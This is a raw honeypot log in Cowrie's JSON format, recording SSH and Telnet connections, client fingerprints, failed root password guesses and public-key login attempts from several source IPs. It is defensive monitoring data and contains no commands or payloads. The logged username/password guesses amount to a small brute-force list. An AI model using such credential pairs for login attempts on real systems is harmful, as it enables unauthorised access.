{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:54:32.829668Z","src_ip":"103.149.28.157","session":"97c789ebcaa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.3821234703064,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:54:58.606222Z","src_ip":"172.81.62.90","session":"911ad4aa43f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58152,"dst_ip":"159.203.135.109","dst_port":23,"session":"92170063be6c","protocol":"telnet","message":"New connection: 172.81.62.90:58152 (159.203.135.109:23) [session: 92170063be6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:55:07.263347Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46516,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7c6013698f0","protocol":"ssh","message":"New connection: 77.94.47.83:46516 (10.17.0.5:22) [session: e7c6013698f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:55:30.012834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:55:30.017680Z","src_ip":"77.94.47.83","session":"e7c6013698f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:55:30.136078Z","src_ip":"77.94.47.83","session":"e7c6013698f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199292","message":"login attempt [root/199292] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:55:30.473057Z","src_ip":"77.94.47.83","session":"e7c6013698f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:55:31.589410Z","src_ip":"77.94.47.83","session":"e7c6013698f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.58358430862427,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:55:43.846752Z","src_ip":"172.81.62.90","session":"92170063be6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":36840,"dst_ip":"10.17.0.5","dst_port":22,"session":"60b48f280bf1","protocol":"ssh","message":"New connection: 103.27.238.116:36840 (10.17.0.5:22) [session: 60b48f280bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:56:21.454540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:56:21.458642Z","src_ip":"103.27.238.116","session":"60b48f280bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:56:21.725438Z","src_ip":"103.27.238.116","session":"60b48f280bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rey619","message":"login attempt [root/rey619] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:56:22.528680Z","src_ip":"103.27.238.116","session":"60b48f280bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:56:23.798208Z","src_ip":"103.27.238.116","session":"60b48f280bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33426,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e4d3460488e","protocol":"ssh","message":"New connection: 80.94.92.184:33426 (10.17.0.5:22) [session: 5e4d3460488e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:56:52.682848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:56:52.688020Z","src_ip":"80.94.92.184","session":"5e4d3460488e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:56:52.867451Z","src_ip":"80.94.92.184","session":"5e4d3460488e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv@123","message":"login attempt [solv/solv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:56:54.382306Z","src_ip":"80.94.92.184","session":"5e4d3460488e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:56:55.730999Z","src_ip":"80.94.92.184","session":"5e4d3460488e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.209.225","src_port":64208,"dst_ip":"10.17.0.5","dst_port":22,"session":"11bf487c1140","protocol":"ssh","message":"New connection: 62.210.209.225:64208 (10.17.0.5:22) [session: 11bf487c1140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:40.832502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:40.835179Z","src_ip":"62.210.209.225","session":"11bf487c1140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:40.915783Z","src_ip":"62.210.209.225","session":"11bf487c1140","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:e8:6d:ea:a0:1b:ae:4e:95:07:97:ca:f6:66:f9:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDk7zeDNMr4JgwfuFrPMyROY6t/DLUIEWrtmx0gz/3gl0eMjqdcgKJsTaGv0vhJcb8dxdjntUrLpV8qbemn4EzYH4yEK0CgKXgA7SQ2tPzzc2DXmv022K2qDPAyTuO6besIwbHWNavHOKv6Dxj8gouh+ID1b/XS5ytwr7u7DVOQsz1e+dMbjZdzHFN8lLXHWilKcXCFDXcanCUtNjabhKKUmAYjIhDl/RXphRLVfJMLATm8jj5vSvn0J3baeaGko6PDdgcbHtepkB8M9yGUHhPkJ3XDDPr/5+JpbO9BPrxiNSVUC/VbnK09L1XVUOFLEYY9upH+R/N5zI2PB8n3AOB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:e8:6d:ea:a0:1b:ae:4e:95:07:97:ca:f6:66:f9:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:41.301051Z","src_ip":"62.210.209.225","session":"11bf487c1140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:e8:6d:ea:a0:1b:ae:4e:95:07:97:ca:f6:66:f9:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDk7zeDNMr4JgwfuFrPMyROY6t/DLUIEWrtmx0gz/3gl0eMjqdcgKJsTaGv0vhJcb8dxdjntUrLpV8qbemn4EzYH4yEK0CgKXgA7SQ2tPzzc2DXmv022K2qDPAyTuO6besIwbHWNavHOKv6Dxj8gouh+ID1b/XS5ytwr7u7DVOQsz1e+dMbjZdzHFN8lLXHWilKcXCFDXcanCUtNjabhKKUmAYjIhDl/RXphRLVfJMLATm8jj5vSvn0J3baeaGko6PDdgcbHtepkB8M9yGUHhPkJ3XDDPr/5+JpbO9BPrxiNSVUC/VbnK09L1XVUOFLEYY9upH+R/N5zI2PB8n3AOB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:41.304184Z","src_ip":"62.210.209.225","session":"11bf487c1140","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:d7:7e:a0:81:25:7a:9e:ce:cf:e1:bc:86:23:0d:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxxHQEoP97R6XNTVPjVcwIsrjzoC4SiqNvJ5S/vXeZFdUPsN6rBi3VUAPN6PTRBZo6uSbu1Pxyd38xjk9jQ7ZLwnesgpqKUsDv4CRyZX32P8xyiv9QQ4NF523Z2jPMSDBYtOIFbXJpn4ZucgE/TxMdGvhP+bBUWGppbc31YPoVQQh63jPGuMPSz/cskyvpp1wdIS8ezhgyZ3HW1JB/BvH9/U/5GYdZ964E+9YSlWm8XAaGRX8g0oxY8omVUUoLbTw7a4CaaOhrGCejxavUbsDf1seb2AsnerCAkXdA3ggo0VLYRsCTUjmnQUeMCcVxhB7IWV+P8RLjpuc5YeClyG86w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:d7:7e:a0:81:25:7a:9e:ce:cf:e1:bc:86:23:0d:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:41.385987Z","src_ip":"62.210.209.225","session":"11bf487c1140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:d7:7e:a0:81:25:7a:9e:ce:cf:e1:bc:86:23:0d:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxxHQEoP97R6XNTVPjVcwIsrjzoC4SiqNvJ5S/vXeZFdUPsN6rBi3VUAPN6PTRBZo6uSbu1Pxyd38xjk9jQ7ZLwnesgpqKUsDv4CRyZX32P8xyiv9QQ4NF523Z2jPMSDBYtOIFbXJpn4ZucgE/TxMdGvhP+bBUWGppbc31YPoVQQh63jPGuMPSz/cskyvpp1wdIS8ezhgyZ3HW1JB/BvH9/U/5GYdZ964E+9YSlWm8XAaGRX8g0oxY8omVUUoLbTw7a4CaaOhrGCejxavUbsDf1seb2AsnerCAkXdA3ggo0VLYRsCTUjmnQUeMCcVxhB7IWV+P8RLjpuc5YeClyG86w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:41.389187Z","src_ip":"62.210.209.225","session":"11bf487c1140","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:cd:08:0c:76:f3:4d:f3:9d:85:ed:e5:cd:9f:db:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmopJGN6njt7E4u0qeaytF8NSg/X0NRAFG3r1y5KGN6qghLgkuWAZMo8YwlkN/6vWlgJqyJ0tKD9VKmRCADZWwR/cs5pts6WSACPMBk5Tpx2SxLaB1wikJFy/lb76zaWCRZGHKb9QM3kpnLuWvARu3t7Mk/ShORq3feymXwbWydPVpJig5QpOr0NYf6+5IBFeJvGcfgS6x00RP2kuUfBAoFqudUuQID3Q/reUzY6d5HqJ9PhErM8/KZ7YaaXixa3Si6NepVcZ4fDnZ1foOKZLEmgvKb0myZUqAhE4RankfOLDaJzyRaoYJ3XEHXzp1VKcOvlJMosIx8KxenNIf8aqT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:cd:08:0c:76:f3:4d:f3:9d:85:ed:e5:cd:9f:db:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:41.472201Z","src_ip":"62.210.209.225","session":"11bf487c1140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:cd:08:0c:76:f3:4d:f3:9d:85:ed:e5:cd:9f:db:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmopJGN6njt7E4u0qeaytF8NSg/X0NRAFG3r1y5KGN6qghLgkuWAZMo8YwlkN/6vWlgJqyJ0tKD9VKmRCADZWwR/cs5pts6WSACPMBk5Tpx2SxLaB1wikJFy/lb76zaWCRZGHKb9QM3kpnLuWvARu3t7Mk/ShORq3feymXwbWydPVpJig5QpOr0NYf6+5IBFeJvGcfgS6x00RP2kuUfBAoFqudUuQID3Q/reUzY6d5HqJ9PhErM8/KZ7YaaXixa3Si6NepVcZ4fDnZ1foOKZLEmgvKb0myZUqAhE4RankfOLDaJzyRaoYJ3XEHXzp1VKcOvlJMosIx8KxenNIf8aqT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:41.474530Z","src_ip":"62.210.209.225","session":"11bf487c1140","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:64:53:21:45:40:76:c2:08:e9:34:54:5f:c7:1a:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDt1/djnsLSF0XuRBY2iI+ShwKAXi3yrgWwlyltCX3R9POikz563F3roAAp7mUpcla6jkn6gEv3Kyy77T8bCjnzbB+GGuHCunWoHGGl0NZYebhOmGzPhBmoxxMs+Q7MsaPs+vcZ5vDEdQnQTgrdIGfhjEg1Hg5i+kDxfVOl+8Gbeq33+nLQN5hA+AS+w0ytoNoArjUqiGVRUJ8TKykFe8BLWc9DQivSP9YxK1sFR8xM2smkGR6YhKfgWOFXnjKPSWvaaY1wvNWAxZTvZQiC+TEe/n7PZZcjayZHaYsKGF5NgXaBLUscVHLF19xRGudVyUSf9irNEWbbzhorHpk0zYT5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:64:53:21:45:40:76:c2:08:e9:34:54:5f:c7:1a:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:41.554714Z","src_ip":"62.210.209.225","session":"11bf487c1140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:64:53:21:45:40:76:c2:08:e9:34:54:5f:c7:1a:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDt1/djnsLSF0XuRBY2iI+ShwKAXi3yrgWwlyltCX3R9POikz563F3roAAp7mUpcla6jkn6gEv3Kyy77T8bCjnzbB+GGuHCunWoHGGl0NZYebhOmGzPhBmoxxMs+Q7MsaPs+vcZ5vDEdQnQTgrdIGfhjEg1Hg5i+kDxfVOl+8Gbeq33+nLQN5hA+AS+w0ytoNoArjUqiGVRUJ8TKykFe8BLWc9DQivSP9YxK1sFR8xM2smkGR6YhKfgWOFXnjKPSWvaaY1wvNWAxZTvZQiC+TEe/n7PZZcjayZHaYsKGF5NgXaBLUscVHLF19xRGudVyUSf9irNEWbbzhorHpk0zYT5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:41.557227Z","src_ip":"62.210.209.225","session":"11bf487c1140","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:29:f9:05:90:d6:36:5d:4e:df:ef:5f:98:fa:2d:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA2DcUYhVVitC1R6mL1OeJ2wcEfpzRfapoKHyHxljmlBaA4GyDsI/3UZerX1kCyC7G8QeTL2kdJ4b0T7PnLoEFzF8vXcPIHxRtqyvGNaJnqVsrIjNjReDLM1qrz2zqhoOw9vzUD1GmbhKqo4qsBvNNGRjuoWJ1olJUIuDExXmhOjRPN8RpUKxvjvF6hJtAxmaQNhByC3wlEcXLYTwph/g/OBLEzGVADMOYCfU5PS5Ge4uUWKszqkbIO+vCEVscHrFDEzODE7359ybBrkA5/UXVN9zL3q9UW6gdv0lZCSfklyBjab7QIQE8drnBU9joC39/zdPXO/Z59IeU50wYPUnh9nZZJX9a2JvbAc7YZAddS4PfT4b8HOTDfmkz2btTFz8NVkI4fvAqnUkcYFCLH09EpW0YgKuCQvnViTklcSIAVtZ61wrSajsJJbbWNeY70VLPe0cNCHl6Gy6qz5+gagVYvl0CvzMPJ+opknvImcQloHXCsM+GL1IyiJmCpR0i2LXkj3CnypyiCVBItDO5ay1LMfK3fY24ryh7PyNjnTlhVndbGXNGEfX5M4Oyzu3sSUvxPqjVCjQQl8bJr3e51X19/Q+Z0FYLAzNhAhZigooZ3QVwC3CCphXhCEDmnK22VMHsoex5FwT1i5F3dNMMoOafiK3v0Cq9Ma3S+VD8rChZYv0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:29:f9:05:90:d6:36:5d:4e:df:ef:5f:98:fa:2d:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:41.637939Z","src_ip":"62.210.209.225","session":"11bf487c1140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:29:f9:05:90:d6:36:5d:4e:df:ef:5f:98:fa:2d:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA2DcUYhVVitC1R6mL1OeJ2wcEfpzRfapoKHyHxljmlBaA4GyDsI/3UZerX1kCyC7G8QeTL2kdJ4b0T7PnLoEFzF8vXcPIHxRtqyvGNaJnqVsrIjNjReDLM1qrz2zqhoOw9vzUD1GmbhKqo4qsBvNNGRjuoWJ1olJUIuDExXmhOjRPN8RpUKxvjvF6hJtAxmaQNhByC3wlEcXLYTwph/g/OBLEzGVADMOYCfU5PS5Ge4uUWKszqkbIO+vCEVscHrFDEzODE7359ybBrkA5/UXVN9zL3q9UW6gdv0lZCSfklyBjab7QIQE8drnBU9joC39/zdPXO/Z59IeU50wYPUnh9nZZJX9a2JvbAc7YZAddS4PfT4b8HOTDfmkz2btTFz8NVkI4fvAqnUkcYFCLH09EpW0YgKuCQvnViTklcSIAVtZ61wrSajsJJbbWNeY70VLPe0cNCHl6Gy6qz5+gagVYvl0CvzMPJ+opknvImcQloHXCsM+GL1IyiJmCpR0i2LXkj3CnypyiCVBItDO5ay1LMfK3fY24ryh7PyNjnTlhVndbGXNGEfX5M4Oyzu3sSUvxPqjVCjQQl8bJr3e51X19/Q+Z0FYLAzNhAhZigooZ3QVwC3CCphXhCEDmnK22VMHsoex5FwT1i5F3dNMMoOafiK3v0Cq9Ma3S+VD8rChZYv0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:41.641151Z","src_ip":"62.210.209.225","session":"11bf487c1140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:57:41.721871Z","src_ip":"62.210.209.225","session":"11bf487c1140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39792,"dst_ip":"159.203.135.109","dst_port":23,"session":"d60aadf0f478","protocol":"telnet","message":"New connection: 172.81.62.90:39792 (159.203.135.109:23) [session: d60aadf0f478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:58:51.389082Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":28628,"dst_ip":"159.203.135.109","dst_port":22,"session":"d198ce788be2","protocol":"ssh","message":"New connection: 38.93.206.2:28628 (159.203.135.109:22) [session: d198ce788be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:58:56.521065Z"}
